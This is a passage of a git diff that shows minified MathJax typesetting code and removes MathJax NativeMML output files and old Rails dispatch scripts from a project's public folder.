o=(t/(t+1))*(x-f);f=x-o;m+=o+f-g.bbox.h;while(u-->0){while(t-->0){if(!this.msieCloneNodeBug){j=g.cloneNode(true)}else{j=this.Element("span");this.createChar(j,A.ext,B,s)}m-=f;this.placeBox(this.addBox(i,j),0,m,true)}m+=o-g.bbox.d;if(A.mid&&u){this.placeBox(z,0,m-z.bbox.h,true);t=l;m+=-(z.bbox.h+z.bbox.d)+o+f-g.bbox.h}}}else{m+=(w-p)/2;if(A.mid){this.placeBox(z,0,m-z.bbox.h,true);m+=-(z.bbox.h+z.bbox.d)}m+=(w-p)/2}this.placeBox(q,0,m-q.bbox.h,true);m-=q.bbox.h+q.bbox.d;v.bbox={w:Math.max(r.bbox.w,g.bbox.w,q.bbox.w,z.bbox.w),lw:Math.min(r.bbox.lw,g.bbox.lw,q.bbox.lw,z.bbox.lw),rw:Math.max(r.bbox.rw,g.bbox.rw,q.bbox.rw,z.bbox.rw),h:0,d:-m};v.scale=B;v.offset=0.55*v.bbox.w;v.isMultiChar=true;this.setStackWidth(i,v.bbox.w)},extendDelimiterH:function(u,h,z,B,r){var l=this.createStack(u,true);var i=this.createBox(l),v=this.createBox(l);this.createChar(i,(z.left||z.rep),B,r);this.createChar(v,(z.right||z.rep),B,r);var f=this.Element("span");this.createChar(f,z.rep,B,r);var y={bbox:{h:-this.BIGDIMEN,d:-this.BIGDIMEN}},g;this.placeBox(i,-i.bbox.lw,0,true);var p=(i.bbox.rw-i.bbox.lw)+(v.bbox.rw-v.bbox.lw)-0.05,o=i.bbox.rw-i.bbox.lw-0.025,q;if(z.mid){y=this.createBox(l);this.createChar(y,z.mid,B,r);p+=y.bbox.w}if(h>p){var A=f.bbox.rw-f.bbox.lw,j=A-0.05,s,m,t=(z.mid?2:1);m=s=Math.ceil((h-p)/(t*j));j=(h-p)/(t*s);q=(s/(s+1))*(A-j);j=A-q;o-=f.bbox.lw+q;while(t-->0){while(s-->0){if(!this.msieCloneNodeBug){g=f.cloneNode(true)}else{g=this.Element("span");this.createChar(g,z.rep,B,r)}this.placeBox(this.addBox(l,g),o,0,true);o+=j}if(z.mid&&t){this.placeBox(y,o,0,true);o+=y.bbox.w-q;s=m}}}else{q=Math.min(p-h,i.bbox.w/2);o-=q/2;if(z.mid){this.placeBox(y,o,0,true);o+=y.bbox.w}o-=q/2}this.placeBox(v,o,0,true);u.bbox={w:o+v.bbox.rw,lw:0,rw:o+v.bbox.rw,H:Math.max(i.bbox.h,f.bbox.h,v.bbox.h,y.bbox.h),D:Math.max(i.bbox.d,f.bbox.d,v.bbox.d,y.bbox.d),h:f.bbox.h,d:f.bbox.d};u.scale=B;u.isMultiChar=true;this.setStackWidth(l,u.bbox.w)},createChar:function(o,k,h,f){var n=o,p="",j={fonts:[k[1]],noRemap:true};if(f&&f===a.VARIANT.BOLD){j.fonts=[k[1]+"-bold",k[1]]}if(typeof(k[1])!=="string"){j=k[1]}if(k[0] instanceof Array){for(var l=0,g=k[0].length;l<g;l++){p+=String.fromCharCode(k[0][l])}}else{p=String.fromCharCode(k[0])}if(h!==1){n=this.addElement(o,"span",{style:{fontSize:this.Percent(h)},scale:h});this.handleVariant(n,j,p);o.bbox=n.bbox}else{this.handleVariant(o,j,p)}if(k[2]){o.style.marginLeft=this.Em(k[2])}if(this.AccentBug&&o.bbox.w===0){n.firstChild.nodeValue+=this.NBSP;e.createSpace(o,0,0,-o.offsetWidth/e.em)}},positionDelimiter:function(g,f){f-=g.bbox.h;g.bbox.d-=f;g.bbox.h+=f;if(f){if(this.safariVerticalAlignBug||this.msieVerticalAlignBug||this.konquerorVerticalAlignBug||(this.operaVerticalAlignBug&&g.isMultiChar)){if(g.firstChild.style.display===""&&g.style.top!==""){g=g.firstChild;f-=parseFloat(g.style.top)}g.style.position="relative";g.style.top=this.Em(-f)}else{g.style.verticalAlign=this.Em(f);if(e.ffVerticalAlignBug){e.createRule(g.parentNode,g.bbox.h,0,0)}}}},handleVariant:function(v,j,o){var u="",s,y,p,g,x,z,f=v;if(o.length===0){return}if(!v.bbox){v.bbox={w:0,h:-this.BIGDIMEN,d:-this.BIGDIMEN,rw:-this.BIGDIMEN,lw:this.BIGDIMEN}}if(!j){j=this.FONTDATA.VARIANT[a.VARIANT.NORMAL]}z=j;for(var w=0,t=o.length;w<t;w++){j=z;s=o.charCodeAt(w);y=o.charAt(w);if(y===this.PLANE1){w++;s=o.charCodeAt(w)+119808-56320;if(this.FONTDATA.RemapPlane1){var A=this.FONTDATA.RemapPlane1(s,j);s=A.n;j=A.variant}}else{var q,l,r=this.FONTDATA.RANGES;for(q=0,l=r.length;q<l;q++){if(r[q].name==="alpha"&&j.noLowerCase){continue}var k=j["offset"+r[q].offset];if(k&&s>=r[q].low&&s<=r[q].high){if(r[q].remap&&r[q].remap[s]){s=k+r[q].remap[s]}else{s=s-r[q].low+k;if(r[q].add){s+=r[q].add}}if(j["variant"+r[q].offset]){j=this.FONTDATA.VARIANT[j["variant"+r[q].offset]]}break}}}if(j.remap&&j.remap[s]){if(j.remap[s] instanceof Array){var h=j.remap[s];s=h[0];j=this.FONTDATA.VARIANT[h[1]]}else{s=j.remap[s];if(j.remap.variant){j=this.FONTDATA.VARIANT[j.remap.variant]}}}if(this.FONTDATA.REMAP[s]&&!j.noRemap){s=this.FONTDATA.REMAP[s]}p=this.lookupChar(j,s);y=p[s];if(j!==x&&!y[5].img){if(u.length){this.addText(f,u);u=""}f=v;x=g;if(j!==x){if(x){f=this.addElement(v,"span")}else{g=j}}this.handleFont(f,p,f!==v);x=j}u=this.handleChar(f,p,y,s,u);if(y[0]/1000>v.bbox.h){v.bbox.h=y[0]/1000}if(y[1]/1000>v.bbox.d){v.bbox.d=y[1]/1000}if(v.bbox.w+y[3]/1000<v.bbox.lw){v.bbox.lw=v.bbox.w+y[3]/1000}if(v.bbox.w+y[4]/1000>v.bbox.rw){v.bbox.rw=v.bbox.w+y[4]/1000}v.bbox.w+=y[2]/1000}if(u.length){this.addText(f,u)}if(v.scale&&v.scale!==1){v.bbox.h*=v.scale;v.bbox.d*=v.scale;v.bbox.w*=v.scale;v.bbox.lw*=v.scale;v.bbox.rw*=v.scale}if(o.length==1&&p.skew&&p.skew[s]){v.bbox.skew=p.skew[s]}},handleFont:function(h,f,j){h.style.fontFamily=f.family;if(!(e.FontFaceBug&&f.isWebFont)){var g=f.style||"normal",i=f.weight||"normal";if(g!=="normal"||j){h.style.fontStyle=g}if(i!=="normal"||j){h.style.fontWeight=i}}},handleChar:function(g,f,l,k,j){var i=l[5];if(i.img){return this.handleImg(g,f,l,k,j)}if(i.isUnknown&&this.FONTDATA.DELIMITERS[k]){if(j.length){this.addText(g,j)}var h=g.scale;e.createDelimiter(g,k,0,1,f);g.scale=h;l[0]=g.bbox.h*1000;l[1]=g.bbox.d*1000;l[2]=g.bbox.w*1000;l[3]=g.bbox.lw*1000;l[4]=g.bbox.rw*1000;return""}if(i.c==null){if(k<=65535){i.c=String.fromCharCode(k)}else{i.c=this.PLANE1+String.fromCharCode(k-119808+56320)}}if(l[2]||!this.msieAccentBug||j.length){return j+i.c}e.createShift(g,l[3]/1000);e.createShift(g,(l[4]-l[3])/1000);this.addText(g,i.c);e.createShift(g,-l[4]/1000);return""},handleImg:function(g,f,j,i,h){return h},lookupChar:function(j,p){var h,f;if(!j.FONTS){var o=this.FONTDATA.FONTS;var l=(j.fonts||this.FONTDATA.VARIANT.normal.fonts);if(!(l instanceof Array)){l=[l]}if(j.fonts!=l){j.fonts=l}j.FONTS=[];for(h=0,f=l.length;h<f;h++){if(o[l[h]]){j.FONTS.push(o[l[h]]);o[l[h]].name=l[h]}}}for(h=0,f=j.FONTS.length;h<f;h++){var g=j.FONTS[h];if(typeof(g)==="string"){delete j.FONTS;this.loadFont(g)}if(g[p]){if(g[p].length===5){g[p][5]={}}if(e.allowWebFonts&&!g.available){this.loadWebFont(g)}else{return g}}else{this.findBlock(g,p)}}var k=(j.defaultFont||{family:e.config.undefinedFamily});if(j.bold){k.weight="bold"}if(j.italic){k.style="italic"}k[p]=[800,200,500,0,500,{isUnknown:true}];return k},findBlock:function(g,n){if(g.Ranges){for(var l=0,f=g.Ranges.length;l<f;l++){if(n<g.Ranges[l][0]){return}if(n<=g.Ranges[l][1]){var k=g.Ranges[l][2];for(var h=g.Ranges.length-1;h>=0;h--){if(g.Ranges[h][2]==k){g.Ranges.splice(h,1)}}this.loadFont(g.directory+"/"+k+".js")}}}},loadFont:function(g){var f=MathJax.Callback.Queue();f.Push(["Require",c,this.fontDir+"/"+g]);if(this.imgFonts){if(!MathJax.isPacked){g=g.replace(/\/([^\/]*)$/,e.imgPacked+"/$1")}f.Push(["Require",c,this.webfontDir+"/png/"+g])}d.RestartAfter(f.Push({}))},loadWebFont:function(f){f.available=f.isWebFont=true;if(e.FontFaceBug){f.family=f.name;if(e.msieFontCSSBug){f.family+="-Web"}}d.RestartAfter(this.Font.loadWebFont(f))},loadWebFontError:function(g,f){d.Startup.signal.Post("HTML-CSS Jax - disable web fonts");g.isWebFont=false;if(this.config.imageFont&&this.config.imageFont===this.fontInUse){this.imgFonts=true;d.Startup.signal.Post("HTML-CSS Jax - switch to image fonts");d.Startup.signal.Post("HTML-CSS Jax - using image fonts");MathJax.Message.Set("Web-Fonts not available -- using image fonts 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this.ID},MATHSPACE:{veryverythinmathspace:1/18,verythinmathspace:2/18,thinmathspace:3/18,mediummathspace:4/18,thickmathspace:5/18,verythickmathspace:6/18,veryverythickmathspace:7/18,negativeveryverythinmathspace:-1/18,negativeverythinmathspace:-2/18,negativethinmathspace:-3/18,negativemediummathspace:-4/18,negativethickmathspace:-5/18,negativeverythickmathspace:-6/18,negativeveryverythickmathspace:-7/18},TeX:{x_height:0.430554,quad:1,num1:0.676508,num2:0.393732,num3:0.44373,denom1:0.685951,denom2:0.344841,sup1:0.412892,sup2:0.362892,sup3:0.288888,sub1:0.15,sub2:0.247217,sup_drop:0.386108,sub_drop:0.05,delim1:2.39,delim2:1,axis_height:0.25,rule_thickness:0.06,big_op_spacing1:0.111111,big_op_spacing2:0.166666,big_op_spacing3:0.2,big_op_spacing4:0.6,big_op_spacing5:0.1,scriptspace:0.1,nulldelimiterspace:0.12,delimiterfactor:901,delimitershortfall:0.1,min_rule_thickness:1.25},PLANE1:String.fromCharCode(55349),NBSP:String.fromCharCode(160),rfuzz:0});MathJax.Hub.Register.StartupHook("mml Jax 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G=this.HTMLgetScale();var j=e.createStack(C),g;var i=e.createBox(j);this.HTMLmeasureChild(this.base,i);if(this.data[this.base]){if(w!=null){e.Remeasured(this.data[this.base].HTMLstretchV(i,A,w),i)}else{if(A!=null){e.Remeasured(this.data[this.base].HTMLstretchH(i,A),i)}}}e.placeBox(i,0,0);var h=(this.data[this.sup]||this.data[this.sub]||this).HTMLgetScale();var E=e.TeX.x_height*G,o=e.TeX.scriptspace*G*0.75;var f,k;if(this.HTMLnotEmpty(this.data[this.sup])){f=e.createBox(j);e.Measured(this.data[this.sup].toHTML(f),f);f.bbox.w+=o;f.bbox.rw=Math.max(f.bbox.w,f.bbox.rw)}if(this.HTMLnotEmpty(this.data[this.sub])){k=e.createBox(j);e.Measured(this.data[this.sub].toHTML(k),k);k.bbox.w+=o;k.bbox.rw=Math.max(k.bbox.w,k.bbox.rw)}var y=e.TeX.sup_drop*h,x=e.TeX.sub_drop*h;var m=i.bbox.h-y,l=i.bbox.d+x,F=0,z;if(i.bbox.ic){F=i.bbox.ic}if(this.data[this.base]&&(this.data[this.base].type==="mi"||this.data[this.base].type==="mo")){if(this.data[this.base].data.join("").length===1&&i.bbox.scale===1&&!this.data[this.base].Get("largeop")){m=l=0}}var B=this.getValues("subscriptshift","superscriptshift");B.subscriptshift=(B.subscriptshift===""?0:e.length2em(B.subscriptshift));B.superscriptshift=(B.superscriptshift===""?0:e.length2em(B.superscriptshift));if(!f){if(k){l=Math.max(l,e.TeX.sub1*G,k.bbox.h-(4/5)*E,B.subscriptshift);e.placeBox(k,i.bbox.w+o-F,-l,k.bbox)}}else{if(!k){g=this.getValues("displaystyle","texprimestyle");z=e.TeX[(g.displaystyle?"sup1":(g.texprimestyle?"sup3":"sup2"))];m=Math.max(m,z*G,f.bbox.d+(1/4)*E,B.superscriptshift);e.placeBox(f,i.bbox.w+o,m,f.bbox)}else{l=Math.max(l,e.TeX.sub2*G);var n=e.TeX.rule_thickness*G;if((m-f.bbox.d)-(k.bbox.h-l)<3*n){l=3*n-m+f.bbox.d+k.bbox.h;y=(4/5)*E-(m-f.bbox.d);if(y>0){m+=y;l-=y}}e.placeBox(f,i.bbox.w+o,Math.max(m,B.superscriptshift));e.placeBox(k,i.bbox.w+o-F,-Math.max(l,B.subscriptshift))}}this.HTMLhandleSpace(C);this.HTMLhandleColor(C);return C},HTMLstretchH:a.mbase.HTMLstretchH,HTMLstretchV:a.mbase.HTMLstretchV});a.mmultiscripts.Augment({toHTML:a.mbase.HTMLautoload});a.mtable.Augment({toHTML:a.mbase.HTMLautoload});a["annotation-xml"].Augment({toHTML:a.mbase.HTMLautoload});a.math.Augment({toHTML:function(n,g){var k=this.Get("alttext");if(k){g.setAttribute("aria-label",k)}var h=e.addElement(n,"nobr");n=this.HTMLcreateSpan(h);var l=e.createStack(n),i=e.createBox(l),m;l.style.fontSize=h.parentNode.style.fontSize;h.parentNode.style.fontSize="";if(this.data[0]!=null){if(e.msieColorBug){if(this.background){this.data[0].background=this.background;delete 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g}});MathJax.Hub.Register.StartupHook("onLoad",function(){setTimeout(MathJax.Callback(["loadComplete",e,"jax.js"]),0)})});d.Register.StartupHook("End Config",function(){d.Browser.Select({MSIE:function(f){var i=f.versionAtLeast("7.0");var h=f.versionAtLeast("8.0")&&document.documentMode>7;var g=(document.compatMode==="BackCompat");e.config.styles[".MathJax .MathJax_HitBox"]["background-color"]="white";e.config.styles[".MathJax .MathJax_HitBox"].opacity=0;e.config.styles[".MathJax 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g=j.versionAtLeast("3.1");j.isMobile=(navigator.appVersion.match(/Mobile/i)!=null);var f=(navigator.appVersion.match(/ Android (\d+)\.(\d+)/));var k=(g&&j.isMobile&&((navigator.platform.match(/iPad|iPod|iPhone/)&&!j.versionAtLeast("5.0"))||(f!=null&&(f[1]<2||(f[1]==2&&f[2]<2)))));e.Augment({config:{styles:{".MathJax img, .MathJax nobr, .MathJax a":{"max-width":"5000em","max-height":"5000em"}}},useProcessingFrame:true,rfuzz:0.05,AccentBug:true,AdjustSurd:true,safariContextMenuBug:true,safariNegativeSpaceBug:true,safariVerticalAlignBug:!g,safariTextNodeBug:!h,safariWebFontSerif:["serif"],allowWebFonts:(g&&!k?"otf":false)});if(k){var i=d.config["HTML-CSS"];if(i){i.availableFonts=[];i.preferredFont=null}else{d.config["HTML-CSS"]={availableFonts:[],preferredFont:null}}}},Chrome:function(f){e.Augment({useProcessingFrame:true,rfuzz:0.05,AccentBug:true,AdjustSurd:true,allowWebFonts:(f.versionAtLeast("4.0")?"otf":"svg"),safariNegativeSpaceBug:true,safariWebFontSerif:[""]})},Opera:function(f){f.isMini=(navigator.appVersion.match("Opera Mini")!=null);e.config.styles[".MathJax .merror"]["vertical-align"]=null;e.Augment({useProcessingFrame:true,operaHeightBug:true,operaVerticalAlignBug:true,operaFontSizeBug:f.versionAtLeast("10.61"),negativeSkipBug:true,zeroWidthBug:true,FontFaceBug:true,PaddingWidthBug:true,allowWebFonts:(f.versionAtLeast("10.0")&&!f.isMini?"otf":false),adjustAvailableFonts:function(j){for(var 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-
diff --git a/public/MathJax/jax/output/NativeMML/config.js b/public/MathJax/jax/output/NativeMML/config.js
deleted file mode 100644
index 9d039588..00000000
--- a/public/MathJax/jax/output/NativeMML/config.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/NativeMML/config.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
diff --git a/public/MathJax/jax/output/NativeMML/jax.js b/public/MathJax/jax/output/NativeMML/jax.js
deleted file mode 100644
index 549741a3..00000000
--- a/public/MathJax/jax/output/NativeMML/jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/NativeMML/jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(b,e,d){var a,c=e.Browser.isMSIE;b.Augment({LEFTBUTTON:(c?1:0),MENUKEY:"altKey",noContextMenuBug:e.Browser.isKonequeror,msieQuirks:(c&&!(document.compatMode==="BackCompat")),msieEventBug:e.Browser.isIE9,config:{styles:{}},settings:e.config.menuSettings,Startup:function(){return MathJax.Ajax.Styles(this.config.styles)},Config:function(){this.SUPER(arguments).Config.call(this);if(this.settings.scale){this.config.scale=this.settings.scale}if(e.config.displayAlign!=="center"){var h=e.config.displayAlign,f=e.config.displayIndent;var g={"text-align":h+"!important"};g["margin-"+h]=f+"!important";MathJax.Hub.Insert(this.config.styles,{"div.MathJax_MathML":g,"div.MathJax_MathML math":{"text-align":h},"div.MathJax_MathContainer > span":{"text-align":h+"!important"}})}},InitializeMML:function(){this.initialized=true;if(MathJax.Hub.Browser.isMSIE){try{var f=document.createElement("object");f.id="mathplayer";f.classid="clsid:32F66A20-7614-11D4-BD11-00104BD3F987";document.getElementsByTagName("head")[0].appendChild(f);document.namespaces.add("mjx","http://www.w3.org/1998/Math/MathML");document.namespaces.mjx.doImport("#mathplayer")}catch(g){alert("MathJax was not able to set up MathPlayer.\n\nIf MathPlayer is not installed, you need to install it first.\nOtherwise, your security settings may be preventing ActiveX     \ncontrols from running.  Use the Internet Options item under\nthe Tools menu and select the Security tab, then press the\nCustom Level button. Check that the settings for\n'Run ActiveX Controls', and 'Binary and script behaviors'\nare enabled.\n\nCurrently you will see error messages rather than\ntypeset mathematics.")}}},Translate:function(g){if(!g.parentNode){return}if(!this.initialized){this.InitializeMML()}var k=g.previousSibling;if(k&&String(k.className).match(/^MathJax(_MathML|_Display)?$/)){k.parentNode.removeChild(k)}var j=g.MathJax.elementJax.root;var i=(j.Get("display")==="block"?"div":"span");var h=document.createElement(i),f=h;h.className="MathJax_MathML";h.style.fontSize=this.config.scale+"%";if(c&&this.config.showMathMenuMSIE){f=MathJax.HTML.addElement(h,"span",{className:"MathJax_MathContainer",style:{display:"inline-block",position:"relative"}})}j.toNativeMML(f);g.parentNode.insertBefore(h,g);if(c){if(this.config.showMathMenuMSIE){this.MSIEoverlay(h)}}else{j=h.firstChild;j.oncontextmenu=this.ContextMenu;j.onmouseover=this.Mouseover;j.onmousedown=this.Mousedown;j.onclick=this.Click;j.ondblclick=this.DblClick}},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/MathJax_MathML/)){g.parentNode.removeChild(g)}},MMLnamespace:"http://www.w3.org/1998/Math/MathML",MSIEoverlay:function(m){var l=m.firstChild;m.style.position="absolute";var n=m.scrollHeight,h=m.offsetWidth;var j=MathJax.HTML.addElement(m,"img",{src:"about:blank",style:{width:0,height:n+"px"}});var f=m.scrollHeight-n;m.removeChild(j);m.style.position="";var k,i,g=(m.parentNode.nodeName.toLowerCase()==="div");if(g&&this.quirks){k=-n;i=Math.floor(-h/2)}else{k=f-n,i=-h}MathJax.HTML.addElement(m,"span",{style:{display:"inline-block",width:0,height:0,position:"relative"}},[["span",{style:{display:"inline-block",position:"absolute",left:i+"px",top:k+"px",width:l.offsetWidth+"px",height:n+"px",cursor:"pointer","background-color":"white",filter:"alpha(opacity=0)"},onmousedown:this.MSIEevent,oncontextmenu:this.MSIEevent,onclick:this.MSIEevent,onmousemove:this.MSIEevent,ondblclick:this.MSIEevent,onmouseover:this.MSIEevent,onmouseout:this.MSIEevent}]])},MSIEmath:function(f){var g=f.parentNode.previousSibling.firstChild;return(g.nodeName.toLowerCase()==="span"?g.firstChild:g)},MSIEevent:function(){var g=b.MSIEmath(this);var f=window.event;var h=b["MSIE"+f.type];if(h&&h.call(b,f,g,this)){return false}g.fireEvent("on"+f.type,f);return false},MSIEmousedown:function(h,g,f){if(h[this.MENUKEY]&&h.button===this.LEFTBUTTON&&this.settings.context!=="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}if(this.MSIEzoomKeys&&this.MSIEzoomKeys(h)){this.trapUp=true;return true}return false},MSIEcontextmenu:function(h,g,f){if(this.settings.context==="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}return false},ContextMenu:function(i,j){if(b.config.showMathMenu&&(b.settings.context==="MathJax"||j)){if(b.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||b.msieEventBug){i=window.event}var g=MathJax.Menu;if(g){if(document.selection){setTimeout("document.selection.empty()",0)}var f=(c?this.parentNode.parentNode.nextSibling:this.parentNode.nextSibling);g.jax=e.getJaxFor(f);g.menu.items[1].menu.items[1].name=(g.jax.inputJax.id==="MathML"?"Original":g.jax.inputJax.id);delete b.trapClick;delete b.trapUp;return g.menu.Post(i)}else{if(!d.loadingMathMenu){d.loadingMathMenu=true;var h={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(d.Require("[MathJax]/extensions/MathMenu.js"),function(){delete d.loadingMathMenu},[this,arguments.callee,h,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(b.config.showMathMenu){if(!f){f=window.event}if(b.settings.context==="MathJax"){if(!b.noContextMenuBug||f.button!==2){return}}else{if(!f[b.MENUKEY]||f.button!==b.LEFTBUTTON){return}}return b.ContextMenu.call(this,f,true)}},Mouseover:function(f){b.HandleEvent(f,"Mouseover",this)},Click:function(f){b.HandleEvent(f,"Click",this)},DblClick:function(f){b.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},NAMEDSPACE:{negativeveryverythinmathspace:"-.0556em",negativeverythinmathspace:"-.1111em",negativethinmathspace:"-.1667em",negativemediummathspace:"-.2222em",negativethickmathspace:"-.2778em",negativeverythickmathspace:"-.3333em",negativeveryverythickmathspace:"-.3889em"}});e.Register.StartupHook("mml Jax Ready",function(){a=MathJax.ElementJax.mml;a.mbase.Augment({toNativeMML:function(k){var h=this.NativeMMLelement(this.type);this.NativeMMLattributes(h);for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)},NativeMMLattributes:function(h){var l=this.defaults;var o=this.NativeMMLcopyAttributes,k=this.NativeMMLskipAttributes;if(this.type==="mstyle"){l=a.math.prototype.defaults}for(var n in l){if(!k[n]&&l.hasOwnProperty(n)){if(this[n]!=null){h.setAttribute(n,this.NativeMMLattribute(n,this[n]))}}}for(var j=0,g=o.length;j<g;j++){if(this[o[j]]!=null){h.setAttribute(o[j],this.NativeMMLattribute(o[j],this[o[j]]))}}},NativeMMLcopyAttributes:["fontfamily","fontsize","fontweight","fontstyle","color","background","id","class","href","style"],NativeMMLskipAttributes:{texClass:1,useHeight:1,texprimestyle:1},NativeMMLattribute:function(h,g){g=String(g);if(b.NAMEDSPACE[g]){g=b.NAMEDSPACE[g]}else{if(g.match(/^\s*([-+]?(\d+(\.\d*)?|\.\d+))\s*mu\s*$/)){g=((1/18)*RegExp.$1)+"em"}else{if(g==="-tex-caligraphic"){g="script"}else{if(g==="-tex-oldstyle"){g="normal"}}}}return g},NativeMMLelement:(c?function(g){return document.createElement("mjx:"+g)}:function(g){return document.createElementNS(b.MMLnamespace,g)})});a.mrow.Augment({toNativeMML:function(j){if(this.inferred&&this.parent.inferRow){for(var h=0,g=this.data.length;h<g;h++){if(this.data[h]){this.data[h].toNativeMML(j)}else{j.appendChild(this.NativeMMLelement("mrow"))}}}else{this.SUPER(arguments).toNativeMML.call(this,j)}}});a.msubsup.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.sup]==null){k="msub"}if(this.data[this.sub]==null){k="msup"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});a.munderover.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.under]==null){k="mover"}if(this.data[this.over]==null){k="munder"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});if(MathJax.Hub.Browser.isFirefox){a.mtable.Augment({toNativeMML:function(g){if(this.width){var h=(this.style||"").replace(/;\s*$/,"").split(";");h.push("width:"+this.width);this.style=h.join(";")}this.SUPER(arguments).toNativeMML.call(this,g)}});a.mlabeledtr.Augment({toNativeMML:function(k){var h=this.NativeMMLelement("mtr");this.NativeMMLattributes(h);for(var j=1,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)}});var f=MathJax.Hub.config.root+"/fonts/HTML-CSS/TeX/otf";b.Augment({config:{styles:{'[mathvariant="double-struck"]':{"font-family":"MathJax_AMS"},'[mathvariant="script"]':{"font-family":"MathJax_Script"},'[mathvariant="fraktur"]':{"font-family":"MathJax_Fraktur"},'[mathvariant="-tex-oldstyle"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-oldstyle-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="-tex-caligraphic"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-caligraphic-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="bold-script"]':{"font-family":"MathJax_Script","font-weight":"bold"},'[mathvariant="bold-fraktur"]':{"font-family":"MathJax_Fraktur","font-weight":"bold"},'[mathvariant="monospace"]':{"font-family":"monospace"},'[mathvariant="sans-serif"]':{"font-family":"sansserif"},'[mathvariant="bold-sans-serif"]':{"font-family":"sansserif","font-weight":"bold"},'[mathvariant="sans-serif-italic"]':{"font-family":"sansserif","font-style":"italic"},'[mathvariant="sans-serif-bold-italic"]':{"font-family":"sansserif","font-style":"italic","font-weight":"bold"},"@font-face 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g=this.NativeMMLelement("mrow");this.data[0].toNativeMML(g);h.appendChild(g)}});a.chars.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.entity.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.xml.Augment({toNativeMML:function(j){for(var h=0,g=this.data.length;h<g;h++){j.appendChild(this.data[h].cloneNode(true))}}});e.Register.StartupHook("TeX mathchoice Ready",function(){a.TeXmathchoice.Augment({toNativeMML:function(g){this.Core().toNativeMML(g)}})});setTimeout(MathJax.Callback(["loadComplete",b,"jax.js"]),0)});e.Register.StartupHook("End Cookie",function(){if(e.config.menuSettings.zoom!=="None"){d.Require("[MathJax]/extensions/MathZoom.js")}})})(MathJax.OutputJax.NativeMML,MathJax.Hub,MathJax.Ajax);
-
diff --git a/public/dispatch.cgi b/public/dispatch.cgi
deleted file mode 100755
index ce705d36..00000000
--- a/public/dispatch.cgi
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/usr/bin/env ruby
-
-require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT)
-
-# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like:
-# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired
-require "dispatcher"
-
-ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun)
-Dispatcher.dispatch
\ No newline at end of file
diff --git a/public/dispatch.fcgi b/public/dispatch.fcgi
deleted file mode 100755
index 664dbbbe..00000000
--- a/public/dispatch.fcgi
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/usr/bin/env ruby
-#
-# You may specify the path to the FastCGI crash log (a log of unhandled
-# exceptions which forced the FastCGI instance to exit, great for debugging)
-# and the number of requests to process before running garbage collection.
-#
-# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log
-# and the GC period is nil (turned off).  A reasonable number of requests
-# could range from 10-100 depending on the memory footprint of your app.
-#
-# Example:
-#   # Default log path, normal GC behavior.
-#   RailsFCGIHandler.process!
-#
-#   # Default log path, 50 requests between GC.
-#   RailsFCGIHandler.process! nil, 50
-#
-#   # Custom log path, normal GC behavior.
-#   RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log'
-#
-require File.dirname(__FILE__) + "/../config/environment"
-require 'fcgi_handler'
-
-RailsFCGIHandler.process!
diff --git a/public/dispatch.rb b/public/dispatch.rb
index ce705d36..7095803c 100755
